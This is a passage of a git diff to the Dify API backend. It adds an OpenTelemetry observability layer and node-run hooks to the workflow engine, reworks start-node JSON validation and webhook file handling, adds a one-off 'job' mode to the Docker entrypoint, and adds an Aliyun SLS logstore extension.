+    @override
+    def on_node_run_end(self, node: Node, error: Exception | None) -> None:
+        """
+        Called when a node finishes execution.
+
+        Sets complete attributes, records exceptions, and ends the span.
+        """
+        if self._is_disabled:
+            return
+
+        try:
+            execution_id = node.execution_id
+            if not execution_id:
+                return
+            node_context = self._node_contexts.get(execution_id)
+            if not node_context:
+                return
+
+            span = node_context.span
+            parser = self._get_parser(node)
+            try:
+                parser.parse(node=node, span=span, error=error)
+                span.end()
+            finally:
+                token = node_context.token
+                if token is not None:
+                    try:
+                        context_api.detach(token)
+                    except Exception:
+                        logger.warning("Failed to detach OpenTelemetry token: %s", token)
+                self._node_contexts.pop(execution_id, None)
+
+        except Exception as e:
+            logger.warning("Failed to end OpenTelemetry span for node %s: %s", node.id, e)
+
+    @override
+    def on_event(self, event) -> None:
+        """Not used in this layer."""
+        pass
+
+    @override
+    def on_graph_end(self, error: Exception | None) -> None:
+        """Called when graph execution ends."""
+        if self._node_contexts:
+            logger.warning(
+                "ObservabilityLayer: %d node spans were not properly ended",
+                len(self._node_contexts),
+            )
+            self._node_contexts.clear()
diff --git a/api/core/workflow/graph_engine/worker.py b/api/core/workflow/graph_engine/worker.py
index 73e59ee298..e37a08ae47 100644
--- a/api/core/workflow/graph_engine/worker.py
+++ b/api/core/workflow/graph_engine/worker.py
@@ -9,6 +9,7 @@ import contextvars
 import queue
 import threading
 import time
+from collections.abc import Sequence
 from datetime import datetime
 from typing import final
 from uuid import uuid4
@@ -17,6 +18,7 @@ from flask import Flask
 from typing_extensions import override
 
 from core.workflow.graph import Graph
+from core.workflow.graph_engine.layers.base import GraphEngineLayer
 from core.workflow.graph_events import GraphNodeEventBase, NodeRunFailedEvent
 from core.workflow.nodes.base.node import Node
 from libs.flask_utils import preserve_flask_contexts
@@ -39,6 +41,7 @@ class Worker(threading.Thread):
         ready_queue: ReadyQueue,
         event_queue: queue.Queue[GraphNodeEventBase],
         graph: Graph,
+        layers: Sequence[GraphEngineLayer],
         worker_id: int = 0,
         flask_app: Flask | None = None,
         context_vars: contextvars.Context | None = None,
@@ -50,6 +53,7 @@ class Worker(threading.Thread):
             ready_queue: Ready queue containing node IDs ready for execution
             event_queue: Queue for pushing execution events
             graph: Graph containing nodes to execute
+            layers: Graph engine layers for node execution hooks
             worker_id: Unique identifier for this worker
             flask_app: Optional Flask application for context preservation
             context_vars: Optional context variables to preserve in worker thread
@@ -63,6 +67,7 @@ class Worker(threading.Thread):
         self._context_vars = context_vars
         self._stop_event = threading.Event()
         self._last_task_time = time.time()
+        self._layers = layers if layers is not None else []
 
     def stop(self) -> None:
         """Signal the worker to stop processing."""
@@ -122,20 +127,51 @@ class Worker(threading.Thread):
         Args:
             node: The node instance to execute
         """
-        # Execute the node with preserved context if Flask app is provided
+        node.ensure_execution_id()
+
+        error: Exception | None = None
+
         if self._flask_app and self._context_vars:
             with preserve_flask_contexts(
                 flask_app=self._flask_app,
                 context_vars=self._context_vars,
             ):
-                # Execute the node
+                self._invoke_node_run_start_hooks(node)
+                try:
+                    node_events = node.run()
+                    for event in node_events:
+                        self._event_queue.put(event)
+                except Exception as exc:
+                    error = exc
+                    raise
+                finally:
+                    self._invoke_node_run_end_hooks(node, error)
+        else:
+            self._invoke_node_run_start_hooks(node)
+            try:
                 node_events = node.run()
                 for event in node_events:
-                    # Forward event to dispatcher immediately for streaming
                     self._event_queue.put(event)
-        else:
-            # Execute without context preservation
-            node_events = node.run()
-            for event in node_events:
-                # Forward event to dispatcher immediately for streaming
-                self._event_queue.put(event)
+            except Exception as exc:
+                error = exc
+                raise
+            finally:
+                self._invoke_node_run_end_hooks(node, error)
+
+    def _invoke_node_run_start_hooks(self, node: Node) -> None:
+        """Invoke on_node_run_start hooks for all layers."""
+        for layer in self._layers:
+            try:
+                layer.on_node_run_start(node)
+            except Exception:
+                # Silently ignore layer errors to prevent disrupting node execution
+                continue
+
+    def _invoke_node_run_end_hooks(self, node: Node, error: Exception | None) -> None:
+        """Invoke on_node_run_end hooks for all layers."""
+        for layer in self._layers:
+            try:
+                layer.on_node_run_end(node, error)
+            except Exception:
+                # Silently ignore layer errors to prevent disrupting node execution
+                continue
diff --git a/api/core/workflow/graph_engine/worker_management/worker_pool.py b/api/core/workflow/graph_engine/worker_management/worker_pool.py
index a9aada9ea5..5b9234586b 100644
--- a/api/core/workflow/graph_engine/worker_management/worker_pool.py
+++ b/api/core/workflow/graph_engine/worker_management/worker_pool.py
@@ -14,6 +14,7 @@ from configs import dify_config
 from core.workflow.graph import Graph
 from core.workflow.graph_events import GraphNodeEventBase
 
+from ..layers.base import GraphEngineLayer
 from ..ready_queue import ReadyQueue
 from ..worker import Worker
 
@@ -39,6 +40,7 @@ class WorkerPool:
         ready_queue: ReadyQueue,
         event_queue: queue.Queue[GraphNodeEventBase],
         graph: Graph,
+        layers: list[GraphEngineLayer],
         flask_app: "Flask | None" = None,
         context_vars: "Context | None" = None,
         min_workers: int | None = None,
@@ -53,6 +55,7 @@ class WorkerPool:
             ready_queue: Ready queue for nodes ready for execution
             event_queue: Queue for worker events
             graph: The workflow graph
+            layers: Graph engine layers for node execution hooks
             flask_app: Optional Flask app for context preservation
             context_vars: Optional context variables
             min_workers: Minimum number of workers
@@ -65,6 +68,7 @@ class WorkerPool:
         self._graph = graph
         self._flask_app = flask_app
         self._context_vars = context_vars
+        self._layers = layers
 
         # Scaling parameters with defaults
         self._min_workers = min_workers or dify_config.GRAPH_ENGINE_MIN_WORKERS
@@ -144,6 +148,7 @@ class WorkerPool:
             ready_queue=self._ready_queue,
             event_queue=self._event_queue,
             graph=self._graph,
+            layers=self._layers,
             worker_id=worker_id,
             flask_app=self._flask_app,
             context_vars=self._context_vars,
diff --git a/api/core/workflow/nodes/base/node.py b/api/core/workflow/nodes/base/node.py
index c2e1105971..8ebba3659c 100644
--- a/api/core/workflow/nodes/base/node.py
+++ b/api/core/workflow/nodes/base/node.py
@@ -244,6 +244,15 @@ class Node(Generic[NodeDataT]):
     def graph_init_params(self) -> "GraphInitParams":
         return self._graph_init_params
 
+    @property
+    def execution_id(self) -> str:
+        return self._node_execution_id
+
+    def ensure_execution_id(self) -> str:
+        if not self._node_execution_id:
+            self._node_execution_id = str(uuid4())
+        return self._node_execution_id
+
     def _hydrate_node_data(self, data: Mapping[str, Any]) -> NodeDataT:
         return cast(NodeDataT, self._node_data_type.model_validate(data))
 
@@ -256,14 +265,12 @@ class Node(Generic[NodeDataT]):
         raise NotImplementedError
 
     def run(self) -> Generator[GraphNodeEventBase, None, None]:
-        # Generate a single node execution ID to use for all events
-        if not self._node_execution_id:
-            self._node_execution_id = str(uuid4())
+        execution_id = self.ensure_execution_id()
         self._start_at = naive_utc_now()
 
         # Create and push start event with required fields
         start_event = NodeRunStartedEvent(
-            id=self._node_execution_id,
+            id=execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.title,
@@ -321,7 +328,7 @@ class Node(Generic[NodeDataT]):
                 if isinstance(event, NodeEventBase):  # pyright: ignore[reportUnnecessaryIsInstance]
                     yield self._dispatch(event)
                 elif isinstance(event, GraphNodeEventBase) and not event.in_iteration_id and not event.in_loop_id:  # pyright: ignore[reportUnnecessaryIsInstance]
-                    event.id = self._node_execution_id
+                    event.id = self.execution_id
                     yield event
                 else:
                     yield event
@@ -333,7 +340,7 @@ class Node(Generic[NodeDataT]):
                 error_type="WorkflowNodeError",
             )
             yield NodeRunFailedEvent(
-                id=self._node_execution_id,
+                id=self.execution_id,
                 node_id=self._node_id,
                 node_type=self.node_type,
                 start_at=self._start_at,
@@ -512,7 +519,7 @@ class Node(Generic[NodeDataT]):
         match result.status:
             case WorkflowNodeExecutionStatus.FAILED:
                 return NodeRunFailedEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self.id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -521,7 +528,7 @@ class Node(Generic[NodeDataT]):
                 )
             case WorkflowNodeExecutionStatus.SUCCEEDED:
                 return NodeRunSucceededEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self.id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -537,7 +544,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: StreamChunkEvent) -> NodeRunStreamChunkEvent:
         return NodeRunStreamChunkEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             selector=event.selector,
@@ -550,7 +557,7 @@ class Node(Generic[NodeDataT]):
         match event.node_run_result.status:
             case WorkflowNodeExecutionStatus.SUCCEEDED:
                 return NodeRunSucceededEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self._node_id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -558,7 +565,7 @@ class Node(Generic[NodeDataT]):
                 )
             case WorkflowNodeExecutionStatus.FAILED:
                 return NodeRunFailedEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self._node_id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -573,7 +580,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: PauseRequestedEvent) -> NodeRunPauseRequestedEvent:
         return NodeRunPauseRequestedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_run_result=NodeRunResult(status=WorkflowNodeExecutionStatus.PAUSED),
@@ -583,7 +590,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: AgentLogEvent) -> NodeRunAgentLogEvent:
         return NodeRunAgentLogEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             message_id=event.message_id,
@@ -599,7 +606,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopStartedEvent) -> NodeRunLoopStartedEvent:
         return NodeRunLoopStartedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -612,7 +619,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopNextEvent) -> NodeRunLoopNextEvent:
         return NodeRunLoopNextEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -623,7 +630,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopSucceededEvent) -> NodeRunLoopSucceededEvent:
         return NodeRunLoopSucceededEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -637,7 +644,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopFailedEvent) -> NodeRunLoopFailedEvent:
         return NodeRunLoopFailedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -652,7 +659,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationStartedEvent) -> NodeRunIterationStartedEvent:
         return NodeRunIterationStartedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -665,7 +672,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationNextEvent) -> NodeRunIterationNextEvent:
         return NodeRunIterationNextEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -676,7 +683,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationSucceededEvent) -> NodeRunIterationSucceededEvent:
         return NodeRunIterationSucceededEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -690,7 +697,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationFailedEvent) -> NodeRunIterationFailedEvent:
         return NodeRunIterationFailedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -705,7 +712,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: RunRetrieverResourceEvent) -> NodeRunRetrieverResourceEvent:
         return NodeRunRetrieverResourceEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             retriever_resources=event.retriever_resources,
diff --git a/api/core/workflow/nodes/start/start_node.py b/api/core/workflow/nodes/start/start_node.py
index 38effa79f7..36fc5078c5 100644
--- a/api/core/workflow/nodes/start/start_node.py
+++ b/api/core/workflow/nodes/start/start_node.py
@@ -1,3 +1,4 @@
+import json
 from typing import Any
 
 from jsonschema import Draft7Validator, ValidationError
@@ -42,15 +43,25 @@ class StartNode(Node[StartNodeData]):
             if value is None and variable.required:
                 raise ValueError(f"{key} is required in input form")
 
-            if not isinstance(value, dict):
-                raise ValueError(f"{key} must be a JSON object")
-
             schema = variable.json_schema
             if not schema:
                 continue
 
+            if not value:
+                continue
+
             try:
-                Draft7Validator(schema).validate(value)
+                json_schema = json.loads(schema)
+            except json.JSONDecodeError as e:
+                raise ValueError(f"{schema} must be a valid JSON object")
+
+            try:
+                json_value = json.loads(value)
+            except json.JSONDecodeError as e:
+                raise ValueError(f"{value} must be a valid JSON object")
+
+            try:
+                Draft7Validator(json_schema).validate(json_value)
             except ValidationError as e:
                 raise ValueError(f"JSON object for '{key}' does not match schema: {e.message}")
-            node_inputs[key] = value
+            node_inputs[key] = json_value
diff --git a/api/core/workflow/nodes/trigger_webhook/node.py b/api/core/workflow/nodes/trigger_webhook/node.py
index 3631c8653d..ec8c4b8ee3 100644
--- a/api/core/workflow/nodes/trigger_webhook/node.py
+++ b/api/core/workflow/nodes/trigger_webhook/node.py
@@ -1,14 +1,22 @@
+import logging
 from collections.abc import Mapping
 from typing import Any
 
+from core.file import FileTransferMethod
+from core.variables.types import SegmentType
+from core.variables.variables import FileVariable
 from core.workflow.constants import SYSTEM_VARIABLE_NODE_ID
 from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
 from core.workflow.enums import NodeExecutionType, NodeType
 from core.workflow.node_events import NodeRunResult
 from core.workflow.nodes.base.node import Node
+from factories import file_factory
+from factories.variable_factory import build_segment_with_type
 
 from .entities import ContentType, WebhookData
 
+logger = logging.getLogger(__name__)
+
 
 class TriggerWebhookNode(Node[WebhookData]):
     node_type = NodeType.TRIGGER_WEBHOOK
@@ -60,6 +68,34 @@ class TriggerWebhookNode(Node[WebhookData]):
             outputs=outputs,
         )
 
+    def generate_file_var(self, param_name: str, file: dict):
+        related_id = file.get("related_id")
+        transfer_method_value = file.get("transfer_method")
+        if transfer_method_value:
+            transfer_method = FileTransferMethod.value_of(transfer_method_value)
+            match transfer_method:
+                case FileTransferMethod.LOCAL_FILE | FileTransferMethod.REMOTE_URL:
+                    file["upload_file_id"] = related_id
+                case FileTransferMethod.TOOL_FILE:
+                    file["tool_file_id"] = related_id
+                case FileTransferMethod.DATASOURCE_FILE:
+                    file["datasource_file_id"] = related_id
+
+            try:
+                file_obj = file_factory.build_from_mapping(
+                    mapping=file,
+                    tenant_id=self.tenant_id,
+                )
+                file_segment = build_segment_with_type(SegmentType.FILE, file_obj)
+                return FileVariable(name=param_name, value=file_segment.value, selector=[self.id, param_name])
+            except ValueError:
+                logger.error(
+                    "Failed to build FileVariable for webhook file parameter %s",
+                    param_name,
+                    exc_info=True,
+                )
+        return None
+
     def _extract_configured_outputs(self, webhook_inputs: dict[str, Any]) -> dict[str, Any]:
         """Extract outputs based on node configuration from webhook inputs."""
         outputs = {}
@@ -107,18 +143,33 @@ class TriggerWebhookNode(Node[WebhookData]):
                 outputs[param_name] = str(webhook_data.get("body", {}).get("raw", ""))
                 continue
             elif self.node_data.content_type == ContentType.BINARY:
-                outputs[param_name] = webhook_data.get("body", {}).get("raw", b"")
+                raw_data: dict = webhook_data.get("body", {}).get("raw", {})
+                file_var = self.generate_file_var(param_name, raw_data)
+                if file_var:
+                    outputs[param_name] = file_var
+                else:
+                    outputs[param_name] = raw_data
                 continue
 
             if param_type == "file":
                 # Get File object (already processed by webhook controller)
-                file_obj = webhook_data.get("files", {}).get(param_name)
-                outputs[param_name] = file_obj
+                files = webhook_data.get("files", {})
+                if files and isinstance(files, dict):
+                    file = files.get(param_name)
+                    if file and isinstance(file, dict):
+                        file_var = self.generate_file_var(param_name, file)
+                        if file_var:
+                            outputs[param_name] = file_var
+                        else:
+                            outputs[param_name] = files
+                    else:
+                        outputs[param_name] = files
+                else:
+                    outputs[param_name] = files
             else:
                 # Get regular body parameter
                 outputs[param_name] = webhook_data.get("body", {}).get(param_name)
 
         # Include raw webhook data for debugging/advanced use
         outputs["_webhook_raw"] = webhook_data
-
         return outputs
diff --git a/api/core/workflow/workflow_entry.py b/api/core/workflow/workflow_entry.py
index d4ec29518a..ddf545bb34 100644
--- a/api/core/workflow/workflow_entry.py
+++ b/api/core/workflow/workflow_entry.py
@@ -14,7 +14,7 @@ from core.workflow.errors import WorkflowNodeRunFailedError
 from core.workflow.graph import Graph
 from core.workflow.graph_engine import GraphEngine
 from core.workflow.graph_engine.command_channels import InMemoryChannel
-from core.workflow.graph_engine.layers import DebugLoggingLayer, ExecutionLimitsLayer
+from core.workflow.graph_engine.layers import DebugLoggingLayer, ExecutionLimitsLayer, ObservabilityLayer
 from core.workflow.graph_engine.protocols.command_channel import CommandChannel
 from core.workflow.graph_events import GraphEngineEvent, GraphNodeEventBase, GraphRunFailedEvent
 from core.workflow.nodes import NodeType
@@ -23,6 +23,7 @@ from core.workflow.nodes.node_mapping import NODE_TYPE_CLASSES_MAPPING
 from core.workflow.runtime import GraphRuntimeState, VariablePool
 from core.workflow.system_variable import SystemVariable
 from core.workflow.variable_loader import DUMMY_VARIABLE_LOADER, VariableLoader, load_into_variable_pool
+from extensions.otel.runtime import is_instrument_flag_enabled
 from factories import file_factory
 from models.enums import UserFrom
 from models.workflow import Workflow
@@ -98,6 +99,10 @@ class WorkflowEntry:
         )
         self.graph_engine.layer(limits_layer)
 
+        # Add observability layer when OTel is enabled
+        if dify_config.ENABLE_OTEL or is_instrument_flag_enabled():
+            self.graph_engine.layer(ObservabilityLayer())
+
     def run(self) -> Generator[GraphEngineEvent, None, None]:
         graph_engine = self.graph_engine
 
diff --git a/api/docker/entrypoint.sh b/api/docker/entrypoint.sh
index 6313085e64..5a69eb15ac 100755
--- a/api/docker/entrypoint.sh
+++ b/api/docker/entrypoint.sh
@@ -34,10 +34,10 @@ if [[ "${MODE}" == "worker" ]]; then
   if [[ -z "${CELERY_QUEUES}" ]]; then
     if [[ "${EDITION}" == "CLOUD" ]]; then
       # Cloud edition: separate queues for dataset and trigger tasks
-      DEFAULT_QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow_professional,workflow_team,workflow_sandbox,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor"
+      DEFAULT_QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow_professional,workflow_team,workflow_sandbox,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor,retention"
     else
       # Community edition (SELF_HOSTED): dataset, pipeline and workflow have separate queues
-      DEFAULT_QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor"
+      DEFAULT_QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor,retention"
     fi
   else
     DEFAULT_QUEUES="${CELERY_QUEUES}"
@@ -69,6 +69,53 @@ if [[ "${MODE}" == "worker" ]]; then
 
 elif [[ "${MODE}" == "beat" ]]; then
   exec celery -A app.celery beat --loglevel ${LOG_LEVEL:-INFO}
+
+elif [[ "${MODE}" == "job" ]]; then
+  # Job mode: Run a one-time Flask command and exit
+  # Pass Flask command and arguments via container args
+  # Example K8s usage:
+  #   args:
+  #   - create-tenant
+  #   - --email
+  #   - admin@example.com
+  #
+  # Example Docker usage:
+  #   docker run -e MODE=job dify-api:latest create-tenant --email admin@example.com
+
+  if [[ $# -eq 0 ]]; then
+    echo "Error: No command specified for job mode."
+    echo ""
+    echo "Usage examples:"
+    echo "  Kubernetes:"
+    echo "    args: [create-tenant, --email, admin@example.com]"
+    echo ""
+    echo "  Docker:"
+    echo "    docker run -e MODE=job dify-api create-tenant --email admin@example.com"
+    echo ""
+    echo "Available commands:"
+    echo "  create-tenant, reset-password, reset-email, upgrade-db,"
+    echo "  vdb-migrate, install-plugins, and more..."
+    echo ""
+    echo "Run 'flask --help' to see all available commands."
+    exit 1
+  fi
+
+  echo "Running Flask job command: flask $*"
+  
+  # Temporarily disable exit on error to capture exit code
+  set +e
+  flask "$@"
+  JOB_EXIT_CODE=$?
+  set -e
+
+  if [[ ${JOB_EXIT_CODE} -eq 0 ]]; then
+    echo "Job completed successfully."
+  else
+    echo "Job failed with exit code ${JOB_EXIT_CODE}."
+  fi
+
+  exit ${JOB_EXIT_CODE}
+
 else
   if [[ "${DEBUG}" == "true" ]]; then
     exec flask run --host=${DIFY_BIND_ADDRESS:-0.0.0.0} --port=${DIFY_PORT:-5001} --debug
diff --git a/api/events/event_handlers/clean_when_dataset_deleted.py b/api/events/event_handlers/clean_when_dataset_deleted.py
index 1666e2e29f..d6007662d8 100644
--- a/api/events/event_handlers/clean_when_dataset_deleted.py
+++ b/api/events/event_handlers/clean_when_dataset_deleted.py
@@ -15,4 +15,5 @@ def handle(sender: Dataset, **kwargs):
         dataset.index_struct,
         dataset.collection_binding_id,
         dataset.doc_form,
+        dataset.pipeline_id,
     )
diff --git a/api/extensions/ext_blueprints.py b/api/extensions/ext_blueprints.py
index 725e5351e6..cf994c11df 100644
--- a/api/extensions/ext_blueprints.py
+++ b/api/extensions/ext_blueprints.py
@@ -9,11 +9,21 @@ FILES_HEADERS: tuple[str, ...] = (*BASE_CORS_HEADERS, HEADER_NAME_CSRF_TOKEN)
 EXPOSED_HEADERS: tuple[str, ...] = ("X-Version", "X-Env", "X-Trace-Id")
 
 
-def init_app(app: DifyApp):
-    # register blueprint routers
+def _apply_cors_once(bp, /, **cors_kwargs):
+    """Make CORS idempotent so blueprints can be reused across multiple app instances."""
+
+    if getattr(bp, "_dify_cors_applied", False):
+        return
 
     from flask_cors import CORS
 
+    CORS(bp, **cors_kwargs)
+    bp._dify_cors_applied = True
+
+
+def init_app(app: DifyApp):
+    # register blueprint routers
+
     from controllers.console import bp as console_app_bp
     from controllers.files import bp as files_bp
     from controllers.inner_api import bp as inner_api_bp
@@ -22,7 +32,7 @@ def init_app(app: DifyApp):
     from controllers.trigger import bp as trigger_bp
     from controllers.web import bp as web_bp
 
-    CORS(
+    _apply_cors_once(
         service_api_bp,
         allow_headers=list(SERVICE_API_HEADERS),
         methods=["GET", "PUT", "POST", "DELETE", "OPTIONS", "PATCH"],
@@ -30,7 +40,7 @@ def init_app(app: DifyApp):
     )
     app.register_blueprint(service_api_bp)
 
-    CORS(
+    _apply_cors_once(
         web_bp,
         resources={r"/*": {"origins": dify_config.WEB_API_CORS_ALLOW_ORIGINS}},
         supports_credentials=True,
@@ -40,7 +50,7 @@ def init_app(app: DifyApp):
     )
     app.register_blueprint(web_bp)
 
-    CORS(
+    _apply_cors_once(
         console_app_bp,
         resources={r"/*": {"origins": dify_config.CONSOLE_CORS_ALLOW_ORIGINS}},
         supports_credentials=True,
@@ -50,7 +60,7 @@ def init_app(app: DifyApp):
     )
     app.register_blueprint(console_app_bp)
 
-    CORS(
+    _apply_cors_once(
         files_bp,
         allow_headers=list(FILES_HEADERS),
         methods=["GET", "PUT", "POST", "DELETE", "OPTIONS", "PATCH"],
@@ -62,7 +72,7 @@ def init_app(app: DifyApp):
     app.register_blueprint(mcp_bp)
 
     # Register trigger blueprint with CORS for webhook calls
-    CORS(
+    _apply_cors_once(
         trigger_bp,
         allow_headers=["Content-Type", "Authorization", "X-App-Code"],
         methods=["GET", "PUT", "POST", "DELETE", "OPTIONS", "PATCH", "HEAD"],
diff --git a/api/extensions/ext_logstore.py b/api/extensions/ext_logstore.py
new file mode 100644
index 0000000000..502f0bb46b
--- /dev/null
+++ b/api/extensions/ext_logstore.py
@@ -0,0 +1,74 @@
+"""
+Logstore extension for Dify application.
+
+This extension initializes the logstore (Aliyun SLS) on application startup,
+creating necessary projects, logstores, and indexes if they don't exist.
+"""
+
+import logging
+import os
+
+from dotenv import load_dotenv
+
+from dify_app import DifyApp
+
+logger = logging.getLogger(__name__)
+
+
+def is_enabled() -> bool:
+    """
+    Check if logstore extension is enabled.
+
+    Returns:
+        True if all required Aliyun SLS environment variables are set, False otherwise
+    """
+    # Load environment variables from .env file
+    load_dotenv()
+
+    required_vars = [
+        "ALIYUN_SLS_ACCESS_KEY_ID",
+        "ALIYUN_SLS_ACCESS_KEY_SECRET",
+        "ALIYUN_SLS_ENDPOINT",
+        "ALIYUN_SLS_REGION",
+        "ALIYUN_SLS_PROJECT_NAME",
+    ]
+
+    all_set = all(os.environ.get(var) for var in required_vars)
+
+    if not all_set:
+        logger.info("Logstore extension disabled: required Aliyun SLS environment variables not set")
+
+    return all_set
+
+
+def init_app(app: DifyApp):
+    """
+    Initialize logstore on application startup.
+
+    This function:
+    1. Creates Aliyun SLS project if it doesn't exist
+    2. Creates logstores (workflow_execution, workflow_node_execution) if they don't exist
+    3. Creates indexes with field configurations based on PostgreSQL table structures
+
+    This operation is idempotent and only executes once during application startup.
+
+    Args:
+        app: The Dify application instance
+    """
+    try:
+        from extensions.logstore.aliyun_logstore import AliyunLogStore
+
+        logger.info("Initializing logstore...")
+
+        # Create logstore client and initialize project/logstores/indexes
+        logstore_client = AliyunLogStore()
+        logstore_client.init_project_logstore()
+
+        # Attach to app for potential later use
+        app.extensions["logstore"] = logstore_client
+
+        logger.info("Logstore initialized successfully")
+    except Exception:
+        logger.exception("Failed to initialize logstore")
+        # Don't raise - allow application to continue even if logstore init fails
+        # This ensures that the application can still run if logstore is misconfigured
diff --git a/api/extensions/ext_session_factory.py b/api/extensions/ext_session_factory.py
new file mode 100644
index 0000000000..0eb43d66f4
--- /dev/null
+++ b/api/extensions/ext_session_factory.py
@@ -0,0 +1,7 @@
+from core.db.session_factory import configure_session_factory
+from extensions.ext_database import db
+
+
+def init_app(app):
+    with app.app_context():
+        configure_session_factory(db.engine)
diff --git a/api/extensions/logstore/__init__.py b/api/extensions/logstore/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/api/extensions/logstore/aliyun_logstore.py b/api/extensions/logstore/aliyun_logstore.py
new file mode 100644
index 0000000000..22d1f473a3
--- /dev/null
+++ b/api/extensions/logstore/aliyun_logstore.py
@@ -0,0 +1,890 @@
+import logging
+import os
+import threading
+import time
+from collections.abc import Sequence
+from typing import Any
+
+import sqlalchemy as sa
+from aliyun.log import (  # type: ignore[import-untyped]
+    GetLogsRequest,
+    IndexConfig,
+    IndexKeyConfig,
+    IndexLineConfig,
+    LogClient,
+    LogItem,
+    PutLogsRequest,
+)
+from aliyun.log.auth import AUTH_VERSION_4  # type: ignore[import-untyped]
+from aliyun.log.logexception import LogException  # type: ignore[import-untyped]
+from dotenv import load_dotenv
+from sqlalchemy.orm import DeclarativeBase
+
+from configs import dify_config
+from extensions.logstore.aliyun_logstore_pg import AliyunLogStorePG
+
+logger = logging.getLogger(__name__)
+
+
+class AliyunLogStore:
+    """
+    Singleton class for Aliyun SLS LogStore operations.
+
+    Ensures only one instance exists to prevent multiple PG connection pools.
+    """
+
+    _instance: "AliyunLogStore | None" = None
+    _initialized: bool = False
+
+    # Track delayed PG connection for newly created projects
+    _pg_connection_timer: threading.Timer | None = None
+    _pg_connection_delay: int = 90  # delay seconds
+
+    # Default tokenizer for text/json fields and full-text index
+    # Common delimiters: comma, space, quotes, punctuation, operators, brackets, special chars
+    DEFAULT_TOKEN_LIST = [
+        ",",
+        " ",
+        '"',
+        '"',
+        ";",
+        "=",
+        "(",
+        ")",
+        "[",
+        "]",
+        "{",
+        "}",
+        "?",
+        "@",
+        "&",
+        "<",
+        ">",
+        "/",
+        ":",
+        "\n",
+        "\t",
+    ]
+
+    def __new__(cls) -> "AliyunLogStore":
+        """Implement singleton pattern."""
+        if cls._instance is None:
+            cls._instance = super().__new__(cls)
+        return cls._instance
+
+    project_des = "dify"
+
+    workflow_execution_logstore = "workflow_execution"
+
+    workflow_node_execution_logstore = "workflow_node_execution"
+
+    @staticmethod
+    def _sqlalchemy_type_to_logstore_type(column: Any) -> str:
+        """
+        Map SQLAlchemy column type to Aliyun LogStore index type.
+
+        Args:
+            column: SQLAlchemy column object
+
+        Returns:
+            LogStore index type: 'text', 'long', 'double', or 'json'
+        """
+        column_type = column.type
+
+        # Integer types -> long
+        if isinstance(column_type, (sa.Integer, sa.BigInteger, sa.SmallInteger)):
+            return "long"
+
+        # Float types -> double
+        if isinstance(column_type, (sa.Float, sa.Numeric)):
+            return "double"
+
+        # String and Text types -> text
+        if isinstance(column_type, (sa.String, sa.Text)):
+            return "text"
+
+        # DateTime -> text (stored as ISO format string in logstore)
+        if isinstance(column_type, sa.DateTime):
+            return "text"
+
